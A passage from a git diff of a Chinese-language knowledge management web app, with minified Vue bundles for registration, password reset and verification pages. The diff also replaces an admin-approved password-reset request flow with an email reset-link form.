app-muted"},"用户注册")],-1)),l.value?(g(),U(y,{key:0,type:"error",closable:!1,title:l.value,"show-icon":"",class:"alert"},null,8,["title"])):x("",!0),_.value?(g(),U(y,{key:1,type:"success",closable:!1,title:_.value,description:V.value,"show-icon":"",class:"alert"},null,8,["title","description"])):x("",!0),t(C,{"label-position":"top"},{default:o(()=>[t(i,{label:"用户名 *"},{default:o(()=>[t(s,{modelValue:a.username,"onUpdate:modelValue":e[0]||(e[0]=r=>a.username=r),placeholder:"至少3个字符",autocomplete:"username"},null,8,["modelValue"]),e[5]||(e[5]=n("div",{class:"hint app-muted"},"至少3个字符",-1))]),_:1}),t(i,{label:"密码 *"},{default:o(()=>[t(s,{modelValue:a.password,"onUpdate:modelValue":e[1]||(e[1]=r=>a.password=r),type:"password","show-password":"",placeholder:"至少6个字符",autocomplete:"new-password"},null,8,["modelValue"]),e[6]||(e[6]=n("div",{class:"hint app-muted"},"至少6个字符",-1))]),_:1}),t(i,{label:"确认密码 *"},{default:o(()=>[t(s,{modelValue:a.confirm_password,"onUpdate:modelValue":e[2]||(e[2]=r=>a.confirm_password=r),type:"password","show-password":"",placeholder:"请再次输入密码",autocomplete:"new-password",onKeyup:N(k,["enter"])},null,8,["modelValue"])]),_:1}),t(i,{label:K.value},{default:o(()=>[t(s,{modelValue:a.email,"onUpdate:modelValue":e[3]||(e[3]=r=>a.email=r),placeholder:"name@example.com",autocomplete:"email"},null,8,["modelValue"]),n("div",O,q(P.value),1)]),_:1},8,["label"]),t(i,{label:"验证码 *"},{default:o(()=>[n("div",Q,[t(s,{modelValue:a.captcha,"onUpdate:modelValue":e[4]||(e[4]=r=>a.captcha=r),placeholder:"请输入验证码",onKeyup:N(k,["enter"])},null,8,["modelValue"]),f.value?(g(),S("img",{key:0,class:"captcha-img",src:f.value,alt:"验证码",title:"点击刷新",onClick:w},null,8,W)):x("",!0),t(c,{onClick:w},{default:o(()=>[...e[7]||(e[7]=[E("刷新",-1)])]),_:1})])]),_:1})]),_:1}),t(c,{type:"primary",class:"submit-btn",loading:h.value,onClick:k},{default:o(()=>[...e[8]||(e[8]=[E("注册",-1)])]),_:1},8,["loading"]),n("div",X,[e[10]||(e[10]=n("span",{class:"app-muted"},"已有账号?",-1)),t(c,{link:"",type:"primary",onClick:I},{default:o(()=>[...e[9]||(e[9]=[E("立即登录",-1)])]),_:1})])]),_:1})])}}},ae=M(Y,[["__scopeId","data-v-75731a6d"]]);export{ae as default};
|
||||
1
static/app/assets/ResetPasswordPage--Vqm02p7.js
Normal file
1
static/app/assets/ResetPasswordPage--Vqm02p7.js
Normal file
@@ -0,0 +1 @@
|
||||
import{_ as M,a as n,l as U,r as j,c as F,o as K,m as z,b as g,d as o,w as t,e as l,u as D,f,g as w,F as A,k as I,h as Z,i as B,j as q,t as G,E as y}from"./index-CEOd73lG.js";import{c as H}from"./auth-WsWSY0rn.js";function J(S){const r=String(S||"");return r.length<8?{ok:!1,message:"密码长度至少8位"}:!/[a-zA-Z]/.test(r)||!/\d/.test(r)?{ok:!1,message:"密码必须包含字母和数字"}:{ok:!0,message:""}}const O={class:"auth-wrap"},Q={class:"actions"},W={class:"actions"},X={key:0,class:"app-muted"},Y={__name:"ResetPasswordPage",setup(S){const r=U(),C=D(),i=n(String(r.params.token||"")),d=n(!0),b=n(""),a=j({newPassword:"",confirmPassword:""}),k=n(!1),_=n(""),u=n(0);let c=null;function N(){if(typeof window>"u")return null;const s=window.__APP_INITIAL_STATE__;return!s||typeof s!="object"?null:(window.__APP_INITIAL_STATE__=null,s)}const h=F(()=>!!(d.value&&i.value&&!_.value));function V(){C.push("/login")}function R(){u.value=3,c=window.setInterval(()=>{u.value-=1,u.value<=0&&(window.clearInterval(c),c=null,window.location.href="/login")},1e3)}async function T(){if(!h.value)return;const s=a.newPassword,e=a.confirmPassword,p=J(s);if(!p.ok){y.error(p.message);return}if(s!==e){y.error("两次输入的密码不一致");return}k.value=!0;try{await H({token:i.value,new_password:s}),_.value="密码重置成功!3秒后跳转到登录页面...",y.success("密码重置成功"),R()}catch(m){const v=m?.response?.data;y.error(v?.error||"重置失败")}finally{k.value=!1}}return K(()=>{const s=N();s?.page==="reset_password"?(i.value=String(s?.token||i.value||""),d.value=!!s?.valid,b.value=s?.error_message||(d.value?"":"重置链接无效或已过期,请重新申请密码重置")):i.value||(d.value=!1,b.value="重置链接无效或已过期,请重新申请密码重置")}),z(()=>{c&&window.clearInterval(c)}),(s,e)=>{const p=l("el-alert"),m=l("el-button"),v=l("el-input"),x=l("el-form-item"),E=l("el-form"),L=l("el-card");return f(),g("div",O,[o(L,{shadow:"never",class:"auth-card","body-style":{padding:"22px"}},{default:t(()=>[e[5]||(e[5]=w("div",{class:"brand"},[w("div",{class:"brand-title"},"知识管理平台"),w("div",{class:"brand-sub app-muted"},"重置密码")],-1)),d.value?(f(),g(A,{key:1},[_.value?(f(),Z(p,{key:0,type:"success",closable:!1,title:"重置成功",description:_.value,"show-icon":"",class:"alert"},null,8,["description"])):B("",!0),o(E,{"label-position":"top"},{default:t(()=>[o(x,{label:"新密码(至少8位且包含字母和数字)"},{default:t(()=>[o(v,{modelValue:a.newPassword,"onUpdate:modelValue":e[0]||(e[0]=P=>a.newPassword=P),type:"password","show-password":"",placeholder:"请输入新密码",autocomplete:"new-password"},null,8,["modelValue"])]),_:1}),o(x,{label:"确认密码"},{default:t(()=>[o(v,{modelValue:a.confirmPassword,"onUpdate:modelValue":e[1]||(e[1]=P=>a.confirmPassword=P),type:"password","show-password":"",placeholder:"请再次输入新密码",autocomplete:"new-password",onKeyup:q(T,["enter"])},null,8,["modelValue"])]),_:1})]),_:1}),o(m,{type:"primary",class:"submit-btn",loading:k.value,disabled:!h.value,onClick:T},{default:t(()=>[...e[3]||(e[3]=[I(" 确认重置 ",-1)])]),_:1},8,["loading","disabled"]),w("div",W,[o(m,{link:"",type:"primary",onClick:V},{default:t(()=>[...e[4]||(e[4]=[I("返回登录",-1)])]),_:1}),u.value>0?(f(),g("span",X,G(u.value)+" 秒后自动跳转…",1)):B("",!0)])],64)):(f(),g(A,{key:0},[o(p,{type:"error",closable:!1,title:"链接已失效",description:b.value,"show-icon":""},null,8,["description"]),w("div",Q,[o(m,{type:"primary",onClick:V},{default:t(()=>[...e[2]||(e[2]=[I("返回登录",-1)])]),_:1})])],64))]),_:1})])}}},se=M(Y,[["__scopeId","data-v-0bbb511c"]]);export{se as default};
|
||||
@@ -1 +0,0 @@
|
||||
import{_ as L,a as n,l as M,r as U,c as j,o as F,m as K,b as v,d as s,w as a,e as l,u as D,f as m,g as w,F as T,k,h as q,i as x,j as z,t as G,E as y}from"./index-DhsLPY8p.js";import{d as H}from"./auth-cf7b3Gq2.js";import{v as J}from"./password-7ryi82gE.js";const O={class:"auth-wrap"},Q={class:"actions"},W={class:"actions"},X={key:0,class:"app-muted"},Y={__name:"ResetPasswordPage",setup(Z){const B=M(),A=D(),r=n(String(B.params.token||"")),i=n(!0),b=n(""),t=U({newPassword:"",confirmPassword:""}),g=n(!1),f=n(""),d=n(0);let u=null;function C(){if(typeof window>"u")return null;const o=window.__APP_INITIAL_STATE__;return!o||typeof o!="object"?null:(window.__APP_INITIAL_STATE__=null,o)}const I=j(()=>!!(i.value&&r.value&&!f.value));function S(){A.push("/login")}function N(){d.value=3,u=window.setInterval(()=>{d.value-=1,d.value<=0&&(window.clearInterval(u),u=null,window.location.href="/login")},1e3)}async function V(){if(!I.value)return;const o=t.newPassword,e=t.confirmPassword,c=J(o);if(!c.ok){y.error(c.message);return}if(o!==e){y.error("两次输入的密码不一致");return}g.value=!0;try{await H({token:r.value,new_password:o}),f.value="密码重置成功!3秒后跳转到登录页面...",y.success("密码重置成功"),N()}catch(p){const _=p?.response?.data;y.error(_?.error||"重置失败")}finally{g.value=!1}}return F(()=>{const o=C();o?.page==="reset_password"?(r.value=String(o?.token||r.value||""),i.value=!!o?.valid,b.value=o?.error_message||(i.value?"":"重置链接无效或已过期,请重新申请密码重置")):r.value||(i.value=!1,b.value="重置链接无效或已过期,请重新申请密码重置")}),K(()=>{u&&window.clearInterval(u)}),(o,e)=>{const c=l("el-alert"),p=l("el-button"),_=l("el-input"),h=l("el-form-item"),R=l("el-form"),E=l("el-card");return m(),v("div",O,[s(E,{shadow:"never",class:"auth-card","body-style":{padding:"22px"}},{default:a(()=>[e[5]||(e[5]=w("div",{class:"brand"},[w("div",{class:"brand-title"},"知识管理平台"),w("div",{class:"brand-sub app-muted"},"重置密码")],-1)),i.value?(m(),v(T,{key:1},[f.value?(m(),q(c,{key:0,type:"success",closable:!1,title:"重置成功",description:f.value,"show-icon":"",class:"alert"},null,8,["description"])):x("",!0),s(R,{"label-position":"top"},{default:a(()=>[s(h,{label:"新密码(至少8位且包含字母和数字)"},{default:a(()=>[s(_,{modelValue:t.newPassword,"onUpdate:modelValue":e[0]||(e[0]=P=>t.newPassword=P),type:"password","show-password":"",placeholder:"请输入新密码",autocomplete:"new-password"},null,8,["modelValue"])]),_:1}),s(h,{label:"确认密码"},{default:a(()=>[s(_,{modelValue:t.confirmPassword,"onUpdate:modelValue":e[1]||(e[1]=P=>t.confirmPassword=P),type:"password","show-password":"",placeholder:"请再次输入新密码",autocomplete:"new-password",onKeyup:z(V,["enter"])},null,8,["modelValue"])]),_:1})]),_:1}),s(p,{type:"primary",class:"submit-btn",loading:g.value,disabled:!I.value,onClick:V},{default:a(()=>[...e[3]||(e[3]=[k(" 确认重置 ",-1)])]),_:1},8,["loading","disabled"]),w("div",W,[s(p,{link:"",type:"primary",onClick:S},{default:a(()=>[...e[4]||(e[4]=[k("返回登录",-1)])]),_:1}),d.value>0?(m(),v("span",X,G(d.value)+" 秒后自动跳转…",1)):x("",!0)])],64)):(m(),v(T,{key:0},[s(c,{type:"error",closable:!1,title:"链接已失效",description:b.value,"show-icon":""},null,8,["description"]),w("div",Q,[s(p,{type:"primary",onClick:S},{default:a(()=>[...e[2]||(e[2]=[k("返回登录",-1)])]),_:1})])],64))]),_:1})])}}},se=L(Y,[["__scopeId","data-v-0bbb511c"]]);export{se as default};
|
||||
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
@@ -1 +1 @@
|
||||
import{_ as U,a as o,c as I,o as E,m as R,b as k,d as i,w as s,e as d,u as W,f as _,g as l,i as B,h as $,k as T,t as v}from"./index-DhsLPY8p.js";const j={class:"auth-wrap"},z={class:"actions"},D={key:0,class:"countdown app-muted"},M={__name:"VerifyResultPage",setup(q){const x=W(),p=o(!1),f=o(""),m=o(""),w=o(""),y=o(""),r=o(""),u=o(""),c=o(""),n=o(0);let a=null;function C(){if(typeof window>"u")return null;const e=window.__APP_INITIAL_STATE__;return!e||typeof e!="object"?null:(window.__APP_INITIAL_STATE__=null,e)}function N(e){const t=!!e?.success;p.value=t,f.value=e?.title||(t?"验证成功":"验证失败"),m.value=e?.message||e?.error_message||(t?"操作已完成,现在可以继续使用系统。":"操作失败,请稍后重试。"),w.value=e?.primary_label||(t?"立即登录":"重新注册"),y.value=e?.primary_url||(t?"/login":"/register"),r.value=e?.secondary_label||(t?"":"返回登录"),u.value=e?.secondary_url||(t?"":"/login"),c.value=e?.redirect_url||(t?"/login":""),n.value=Number(e?.redirect_seconds||(t?5:0))||0}const A=I(()=>!!(r.value&&u.value)),b=I(()=>!!(c.value&&n.value>0));async function g(e){if(e){if(e.startsWith("http://")||e.startsWith("https://")){window.location.href=e;return}await x.push(e)}}function P(){b.value&&(a=window.setInterval(()=>{n.value-=1,n.value<=0&&(window.clearInterval(a),a=null,window.location.href=c.value)},1e3))}return E(()=>{const e=C();N(e),P()}),R(()=>{a&&window.clearInterval(a)}),(e,t)=>{const h=d("el-button"),V=d("el-result"),L=d("el-card");return _(),k("div",j,[i(L,{shadow:"never",class:"auth-card","body-style":{padding:"22px"}},{default:s(()=>[t[2]||(t[2]=l("div",{class:"brand"},[l("div",{class:"brand-title"},"知识管理平台"),l("div",{class:"brand-sub app-muted"},"验证结果")],-1)),i(V,{icon:p.value?"success":"error",title:f.value,"sub-title":m.value,class:"result"},{extra:s(()=>[l("div",z,[i(h,{type:"primary",onClick:t[0]||(t[0]=S=>g(y.value))},{default:s(()=>[T(v(w.value),1)]),_:1}),A.value?(_(),$(h,{key:0,onClick:t[1]||(t[1]=S=>g(u.value))},{default:s(()=>[T(v(r.value),1)]),_:1})):B("",!0)]),b.value?(_(),k("div",D,v(n.value)+" 秒后自动跳转... ",1)):B("",!0)]),_:1},8,["icon","title","sub-title"])]),_:1})])}}},G=U(M,[["__scopeId","data-v-1fc6b081"]]);export{G as default};
|
||||
import{_ as U,a as o,c as I,o as E,m as R,b as k,d as i,w as s,e as d,u as W,f as _,g as l,i as B,h as $,k as T,t as v}from"./index-CEOd73lG.js";const j={class:"auth-wrap"},z={class:"actions"},D={key:0,class:"countdown app-muted"},M={__name:"VerifyResultPage",setup(q){const x=W(),p=o(!1),f=o(""),m=o(""),w=o(""),y=o(""),r=o(""),u=o(""),c=o(""),n=o(0);let a=null;function C(){if(typeof window>"u")return null;const e=window.__APP_INITIAL_STATE__;return!e||typeof e!="object"?null:(window.__APP_INITIAL_STATE__=null,e)}function N(e){const t=!!e?.success;p.value=t,f.value=e?.title||(t?"验证成功":"验证失败"),m.value=e?.message||e?.error_message||(t?"操作已完成,现在可以继续使用系统。":"操作失败,请稍后重试。"),w.value=e?.primary_label||(t?"立即登录":"重新注册"),y.value=e?.primary_url||(t?"/login":"/register"),r.value=e?.secondary_label||(t?"":"返回登录"),u.value=e?.secondary_url||(t?"":"/login"),c.value=e?.redirect_url||(t?"/login":""),n.value=Number(e?.redirect_seconds||(t?5:0))||0}const A=I(()=>!!(r.value&&u.value)),b=I(()=>!!(c.value&&n.value>0));async function g(e){if(e){if(e.startsWith("http://")||e.startsWith("https://")){window.location.href=e;return}await x.push(e)}}function P(){b.value&&(a=window.setInterval(()=>{n.value-=1,n.value<=0&&(window.clearInterval(a),a=null,window.location.href=c.value)},1e3))}return E(()=>{const e=C();N(e),P()}),R(()=>{a&&window.clearInterval(a)}),(e,t)=>{const h=d("el-button"),V=d("el-result"),L=d("el-card");return _(),k("div",j,[i(L,{shadow:"never",class:"auth-card","body-style":{padding:"22px"}},{default:s(()=>[t[2]||(t[2]=l("div",{class:"brand"},[l("div",{class:"brand-title"},"知识管理平台"),l("div",{class:"brand-sub app-muted"},"验证结果")],-1)),i(V,{icon:p.value?"success":"error",title:f.value,"sub-title":m.value,class:"result"},{extra:s(()=>[l("div",z,[i(h,{type:"primary",onClick:t[0]||(t[0]=S=>g(y.value))},{default:s(()=>[T(v(w.value),1)]),_:1}),A.value?(_(),$(h,{key:0,onClick:t[1]||(t[1]=S=>g(u.value))},{default:s(()=>[T(v(r.value),1)]),_:1})):B("",!0)]),b.value?(_(),k("div",D,v(n.value)+" 秒后自动跳转... ",1)):B("",!0)]),_:1},8,["icon","title","sub-title"])]),_:1})])}}},G=U(M,[["__scopeId","data-v-1fc6b081"]]);export{G as default};
|
||||
@@ -1 +1 @@
|
||||
import{p as c}from"./index-DhsLPY8p.js";async function o(t={}){const{data:a}=await c.get("/accounts",{params:t});return a}async function u(t){const{data:a}=await c.post("/accounts",t);return a}async function r(t,a){const{data:n}=await c.put(`/accounts/${t}`,a);return n}async function e(t){const{data:a}=await c.delete(`/accounts/${t}`);return a}async function i(t,a){const{data:n}=await c.put(`/accounts/${t}/remark`,a);return n}async function p(t,a){const{data:n}=await c.post(`/accounts/${t}/start`,a);return n}async function d(t){const{data:a}=await c.post(`/accounts/${t}/stop`,{});return a}async function f(t){const{data:a}=await c.post("/accounts/batch/start",t);return a}async function w(t){const{data:a}=await c.post("/accounts/batch/stop",t);return a}async function y(){const{data:t}=await c.post("/accounts/clear",{});return t}async function A(t,a={}){const{data:n}=await c.post(`/accounts/${t}/screenshot`,a);return n}export{w as a,f as b,y as c,d,e,o as f,u as g,i as h,p as s,A as t,r as u};
|
||||
import{p as c}from"./index-CEOd73lG.js";async function o(t={}){const{data:a}=await c.get("/accounts",{params:t});return a}async function u(t){const{data:a}=await c.post("/accounts",t);return a}async function r(t,a){const{data:n}=await c.put(`/accounts/${t}`,a);return n}async function e(t){const{data:a}=await c.delete(`/accounts/${t}`);return a}async function i(t,a){const{data:n}=await c.put(`/accounts/${t}/remark`,a);return n}async function p(t,a){const{data:n}=await c.post(`/accounts/${t}/start`,a);return n}async function d(t){const{data:a}=await c.post(`/accounts/${t}/stop`,{});return a}async function f(t){const{data:a}=await c.post("/accounts/batch/start",t);return a}async function w(t){const{data:a}=await c.post("/accounts/batch/stop",t);return a}async function y(){const{data:t}=await c.post("/accounts/clear",{});return t}async function A(t,a={}){const{data:n}=await c.post(`/accounts/${t}/screenshot`,a);return n}export{w as a,f as b,y as c,d,e,o as f,u as g,i as h,p as s,A as t,r as u};
|
||||
1
static/app/assets/auth-WsWSY0rn.js
Normal file
1
static/app/assets/auth-WsWSY0rn.js
Normal file
@@ -0,0 +1 @@
|
||||
import{p as s}from"./index-CEOd73lG.js";async function r(){const{data:a}=await s.get("/email/verify-status");return a}async function o(){const{data:a}=await s.post("/generate_captcha",{});return a}async function e(a){const{data:t}=await s.post("/login",a);return t}async function i(a){const{data:t}=await s.post("/register",a);return t}async function c(a){const{data:t}=await s.post("/resend-verify-email",a);return t}async function f(a){const{data:t}=await s.post("/forgot-password",a);return t}async function u(a){const{data:t}=await s.post("/reset-password-confirm",a);return t}export{f as a,i as b,u as c,r as f,o as g,e as l,c as r};
|
||||
@@ -1 +0,0 @@
|
||||
import{p as s}from"./index-DhsLPY8p.js";async function r(){const{data:t}=await s.get("/email/verify-status");return t}async function e(){const{data:t}=await s.post("/generate_captcha",{});return t}async function o(t){const{data:a}=await s.post("/login",t);return a}async function i(t){const{data:a}=await s.post("/register",t);return a}async function c(t){const{data:a}=await s.post("/resend-verify-email",t);return a}async function u(t){const{data:a}=await s.post("/forgot-password",t);return a}async function f(t){const{data:a}=await s.post("/reset_password_request",t);return a}async function d(t){const{data:a}=await s.post("/reset-password-confirm",t);return a}export{u as a,c as b,i as c,d,r as f,e as g,o as l,f as r};
|
||||
File diff suppressed because one or more lines are too long
@@ -1 +0,0 @@
|
||||
function s(t){const e=String(t||"");return e.length<8?{ok:!1,message:"密码长度至少8位"}:!/[a-zA-Z]/.test(e)||!/\d/.test(e)?{ok:!1,message:"密码必须包含字母和数字"}:{ok:!0,message:""}}export{s as v};
|
||||
@@ -4,7 +4,7 @@
|
||||
<meta charset="UTF-8" />
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0" />
|
||||
<title>知识管理平台</title>
|
||||
<script type="module" crossorigin src="./assets/index-DhsLPY8p.js"></script>
|
||||
<script type="module" crossorigin src="./assets/index-CEOd73lG.js"></script>
|
||||
<link rel="stylesheet" crossorigin href="./assets/index-CD3NfpmF.css">
|
||||
</head>
|
||||
<body>
|
||||
|
||||
@@ -754,9 +754,6 @@
|
||||
<div id="tab-pending" class="tab-content active">
|
||||
<h3 style="margin-bottom: 15px; font-size: 16px;">用户注册审核</h3>
|
||||
<div id="pendingUsersList"></div>
|
||||
|
||||
<h3 style="margin-top: 30px; margin-bottom: 15px; font-size: 16px;">密码重置审核</h3>
|
||||
<div id="passwordResetsList"></div>
|
||||
</div>
|
||||
|
||||
<!-- 所有用户 -->
|
||||
@@ -1536,7 +1533,6 @@
|
||||
loadAnnouncements();
|
||||
loadSystemConfig();
|
||||
loadProxyConfig();
|
||||
loadPasswordResets(); // 修复: 初始化时也加载密码重置申请
|
||||
loadFeedbacks(); // 加载反馈统计更新徽章
|
||||
|
||||
// 恢复上次的标签页
|
||||
@@ -2771,112 +2767,9 @@
|
||||
} else if (tabName === 'logs') {
|
||||
loadLogUserOptions();
|
||||
loadTaskLogs();
|
||||
} else if (tabName === 'pending') {
|
||||
loadPasswordResets();
|
||||
}
|
||||
};
|
||||
|
||||
// ==================== 密码重置功能 ====================
|
||||
|
||||
let passwordResets = [];
|
||||
|
||||
// 加载密码重置申请列表
|
||||
async function loadPasswordResets() {
|
||||
try {
|
||||
const response = await fetch('/yuyx/api/password_resets');
|
||||
if (response.ok) {
|
||||
passwordResets = await response.json();
|
||||
renderPasswordResets();
|
||||
}
|
||||
} catch (error) {
|
||||
console.error('加载密码重置申请失败:', error);
|
||||
}
|
||||
}
|
||||
|
||||
// 渲染密码重置申请列表
|
||||
function renderPasswordResets() {
|
||||
const container = document.getElementById('passwordResetsList');
|
||||
|
||||
if (passwordResets.length === 0) {
|
||||
container.innerHTML = '<div class="empty-message">暂无密码重置申请</div>';
|
||||
return;
|
||||
}
|
||||
|
||||
container.innerHTML = `
|
||||
<div class="table-container">
|
||||
<table>
|
||||
<thead>
|
||||
<tr>
|
||||
<th>申请ID</th>
|
||||
<th>用户名</th>
|
||||
<th>邮箱</th>
|
||||
<th>申请时间</th>
|
||||
<th>操作</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
${passwordResets.map(reset => `
|
||||
<tr>
|
||||
<td>${reset.id}</td>
|
||||
<td><strong>${escapeHtml(reset.username)}</strong></td>
|
||||
<td>${escapeHtml(reset.email || '-')}</td>
|
||||
<td>${escapeHtml(reset.created_at)}</td>
|
||||
<td>
|
||||
<div class="action-buttons">
|
||||
<button class="btn btn-small btn-success" onclick="approvePasswordReset(${reset.id})">批准</button>
|
||||
<button class="btn btn-small btn-danger" onclick="rejectPasswordReset(${reset.id})">拒绝</button>
|
||||
</div>
|
||||
</td>
|
||||
</tr>
|
||||
`).join('')}
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
`;
|
||||
}
|
||||
|
||||
// 批准密码重置申请
|
||||
async function approvePasswordReset(requestId) {
|
||||
if (!confirm('确定批准该密码重置申请吗?')) return;
|
||||
|
||||
try {
|
||||
const response = await fetch(`/yuyx/api/password_resets/${requestId}/approve`, {
|
||||
method: 'POST'
|
||||
});
|
||||
|
||||
const data = await response.json();
|
||||
if (response.ok) {
|
||||
showNotification('密码重置申请已批准', 'success');
|
||||
loadPasswordResets();
|
||||
} else {
|
||||
showNotification('批准失败: ' + data.error, 'error');
|
||||
}
|
||||
} catch (error) {
|
||||
showNotification('批准失败: ' + error.message, 'error');
|
||||
}
|
||||
}
|
||||
|
||||
// 拒绝密码重置申请
|
||||
async function rejectPasswordReset(requestId) {
|
||||
if (!confirm('确定拒绝该密码重置申请吗?')) return;
|
||||
|
||||
try {
|
||||
const response = await fetch(`/yuyx/api/password_resets/${requestId}/reject`, {
|
||||
method: 'POST'
|
||||
});
|
||||
|
||||
const data = await response.json();
|
||||
if (response.ok) {
|
||||
showNotification('密码重置申请已拒绝', 'success');
|
||||
loadPasswordResets();
|
||||
} else {
|
||||
showNotification('拒绝失败: ' + data.error, 'error');
|
||||
}
|
||||
} catch (error) {
|
||||
showNotification('拒绝失败: ' + error.message, 'error');
|
||||
}
|
||||
}
|
||||
|
||||
// 管理员直接重置用户密码
|
||||
async function resetUserPassword(userId) {
|
||||
const newPassword = prompt('请输入新密码(至少6位):');
|
||||
|
||||
@@ -198,37 +198,31 @@
|
||||
<div class="register-link">还没有账号? <a href="/register">立即注册</a></div>
|
||||
</div>
|
||||
</div>
|
||||
<div id="forgotPasswordModal" class="modal-overlay" onclick="if(event.target===this)closeForgotPassword()">
|
||||
<div class="modal">
|
||||
<div class="modal-header"><h2>重置密码</h2><p id="resetModalDesc">填写信息后等待管理员审核</p></div>
|
||||
<div class="modal-body">
|
||||
<div id="modalErrorMessage" class="message error"></div>
|
||||
<div id="modalSuccessMessage" class="message success"></div>
|
||||
<!-- 邮件重置方式(启用邮件功能时显示) -->
|
||||
<form id="emailResetForm" onsubmit="handleEmailReset(event)" style="display: none;">
|
||||
<div class="form-group"><label>邮箱</label><input type="email" id="emailResetEmail" placeholder="请输入注册邮箱" required></div>
|
||||
<div class="form-group">
|
||||
<label>验证码</label>
|
||||
<div class="captcha-row">
|
||||
<input type="text" id="emailResetCaptcha" placeholder="请输入验证码" required>
|
||||
<img id="emailResetCaptchaImage" src="" alt="验证码" style="height: 50px; border: 1px solid #ddd; border-radius: 4px; cursor: pointer;" onclick="refreshEmailResetCaptcha()" title="点击刷新">
|
||||
<button type="button" class="captcha-refresh" onclick="refreshEmailResetCaptcha()">🔄</button>
|
||||
</div>
|
||||
</div>
|
||||
</form>
|
||||
<!-- 管理员审核方式(未启用邮件功能时显示) -->
|
||||
<form id="resetPasswordForm" onsubmit="handleResetPassword(event)">
|
||||
<div class="form-group"><label>用户名</label><input type="text" id="resetUsername" placeholder="请输入用户名" required></div>
|
||||
<div class="form-group"><label>邮箱(可选)</label><input type="email" id="resetEmail" placeholder="用于验证身份"></div>
|
||||
<div class="form-group"><label>新密码</label><input type="password" id="resetNewPassword" placeholder="至少8位,包含字母和数字" required></div>
|
||||
</form>
|
||||
</div>
|
||||
<div class="modal-footer">
|
||||
<button type="button" class="btn-secondary" onclick="closeForgotPassword()">取消</button>
|
||||
<button type="button" class="btn-primary" id="resetSubmitBtn" onclick="submitResetForm()">提交申请</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div id="forgotPasswordModal" class="modal-overlay" onclick="if(event.target===this)closeForgotPassword()">
|
||||
<div class="modal">
|
||||
<div class="modal-header"><h2>找回密码</h2><p id="resetModalDesc">输入用户名,我们将发送重置链接到绑定邮箱</p></div>
|
||||
<div class="modal-body">
|
||||
<div id="modalErrorMessage" class="message error"></div>
|
||||
<div id="modalSuccessMessage" class="message success"></div>
|
||||
<!-- 邮件找回方式 -->
|
||||
<form id="emailResetForm" onsubmit="handleEmailReset(event)" style="display: none;">
|
||||
<div class="form-group"><label>用户名</label><input type="text" id="emailResetUsername" placeholder="请输入用户名" required></div>
|
||||
<div class="form-group">
|
||||
<label>验证码</label>
|
||||
<div class="captcha-row">
|
||||
<input type="text" id="emailResetCaptcha" placeholder="请输入验证码" required>
|
||||
<img id="emailResetCaptchaImage" src="" alt="验证码" style="height: 50px; border: 1px solid #ddd; border-radius: 4px; cursor: pointer;" onclick="refreshEmailResetCaptcha()" title="点击刷新">
|
||||
<button type="button" class="captcha-refresh" onclick="refreshEmailResetCaptcha()">🔄</button>
|
||||
</div>
|
||||
</div>
|
||||
</form>
|
||||
</div>
|
||||
<div class="modal-footer">
|
||||
<button type="button" class="btn-secondary" onclick="closeForgotPassword()">取消</button>
|
||||
<button type="button" class="btn-primary" id="resetSubmitBtn" onclick="submitResetForm()">发送重置邮件</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- 重发验证邮件弹窗 -->
|
||||
<div id="resendVerifyModal" class="modal-overlay" onclick="if(event.target===this)closeResendVerify()">
|
||||
<div class="modal">
|
||||
@@ -293,60 +287,33 @@
|
||||
else { errorDiv.textContent = data.error || '登录失败'; errorDiv.style.display = 'block'; if (data.need_captcha) { needCaptcha = true; document.getElementById('captchaGroup').style.display = 'block'; await generateCaptcha(); } }
|
||||
} catch (error) { errorDiv.textContent = '网络错误'; errorDiv.style.display = 'block'; }
|
||||
}
|
||||
async function showForgotPassword(event) {
|
||||
event.preventDefault();
|
||||
document.getElementById('forgotPasswordModal').classList.add('active');
|
||||
document.getElementById('modalErrorMessage').style.display = 'none';
|
||||
document.getElementById('modalSuccessMessage').style.display = 'none';
|
||||
|
||||
// 根据邮件功能状态切换显示
|
||||
if (emailEnabled) {
|
||||
document.getElementById('emailResetForm').style.display = 'block';
|
||||
document.getElementById('resetPasswordForm').style.display = 'none';
|
||||
document.getElementById('resetModalDesc').textContent = '输入注册邮箱,我们将发送重置链接';
|
||||
document.getElementById('resetSubmitBtn').textContent = '发送重置邮件';
|
||||
await generateEmailResetCaptcha();
|
||||
} else {
|
||||
document.getElementById('emailResetForm').style.display = 'none';
|
||||
document.getElementById('resetPasswordForm').style.display = 'block';
|
||||
document.getElementById('resetModalDesc').textContent = '填写信息后等待管理员审核';
|
||||
document.getElementById('resetSubmitBtn').textContent = '提交申请';
|
||||
}
|
||||
}
|
||||
function closeForgotPassword() {
|
||||
document.getElementById('forgotPasswordModal').classList.remove('active');
|
||||
document.getElementById('resetPasswordForm').reset();
|
||||
document.getElementById('emailResetForm').reset();
|
||||
document.getElementById('modalErrorMessage').style.display = 'none';
|
||||
document.getElementById('modalSuccessMessage').style.display = 'none';
|
||||
}
|
||||
function submitResetForm() {
|
||||
if (emailEnabled) {
|
||||
document.getElementById('emailResetForm').dispatchEvent(new Event('submit'));
|
||||
} else {
|
||||
document.getElementById('resetPasswordForm').dispatchEvent(new Event('submit'));
|
||||
}
|
||||
}
|
||||
async function handleResetPassword(event) {
|
||||
event.preventDefault();
|
||||
const username = document.getElementById('resetUsername').value.trim();
|
||||
const email = document.getElementById('resetEmail').value.trim();
|
||||
const newPassword = document.getElementById('resetNewPassword').value.trim();
|
||||
const errorDiv = document.getElementById('modalErrorMessage');
|
||||
const successDiv = document.getElementById('modalSuccessMessage');
|
||||
errorDiv.style.display = 'none'; successDiv.style.display = 'none';
|
||||
if (!username || !newPassword) { errorDiv.textContent = '用户名和新密码不能为空'; errorDiv.style.display = 'block'; return; }
|
||||
if (newPassword.length < 8) { errorDiv.textContent = '密码长度至少8位'; errorDiv.style.display = 'block'; return; }
|
||||
if (!/[a-zA-Z]/.test(newPassword) || !/\d/.test(newPassword)) { errorDiv.textContent = '密码必须包含字母和数字'; errorDiv.style.display = 'block'; return; }
|
||||
try {
|
||||
const response = await fetch('/api/reset_password_request', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ username, email, new_password: newPassword }) });
|
||||
const data = await response.json();
|
||||
